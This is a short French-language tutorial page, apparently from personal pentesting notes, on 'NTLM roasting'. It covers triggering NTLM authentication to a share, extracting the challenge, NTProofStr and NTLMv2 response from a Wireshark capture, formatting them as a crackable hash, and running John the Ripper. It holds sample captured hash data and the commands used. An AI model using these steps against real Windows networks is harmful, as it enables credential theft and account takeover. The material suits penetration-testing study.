> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/ntlm-roasting.md).
# NTLM Roasting
Depuis une machine Windows, nous provoquons d’abord l’authentification NTLM.
{% code overflow="wrap" %}
```bash
dir //172.16.0.10/c$
```
{% endcode %}
Si nous capturons le trafic dans Wireshark, nous pouvons filtrer sur `NTLMSSP`.
Nous récupérons ensuite le challenge envoyé par le serveur.
* 9dcfb27e14194959
Dans la réponse, nous trouvons également la partie chiffrée envoyée par le client.
{% code overflow="wrap" %}
```bash
d4742b082e949c7f93311599134ffb9b01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```
{% endcode %}
Nous notons également le `NTProofStr`.
* d4742b082e949c7f93311599134ffb9b
Enfin, vous devez identifier le nom d'utilisateur qui effectue la requête.
* Administrator
Tous ces éléments sont ensuite assemblés dans le format attendu par l’outil de cassage.
{% code overflow="wrap" %}
```bash
UserName::Domain:NTLM_Server_Challenge:NTProofStr:NTLMv2Response-NTProofStr
```
{% endcode %}
{% code overflow="wrap" %}
```bash
Administrateur::WHOAMI:9dcfb27e14194959:d4742b082e949c7f93311599134ffb9b:01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```
{% endcode %}
Depuis Linux, nous pouvons ensuite tenter de casser la réponse NTLMv2.
{% code overflow="wrap" %}
```bash
john admin.ntlmv2
```
{% endcode %}
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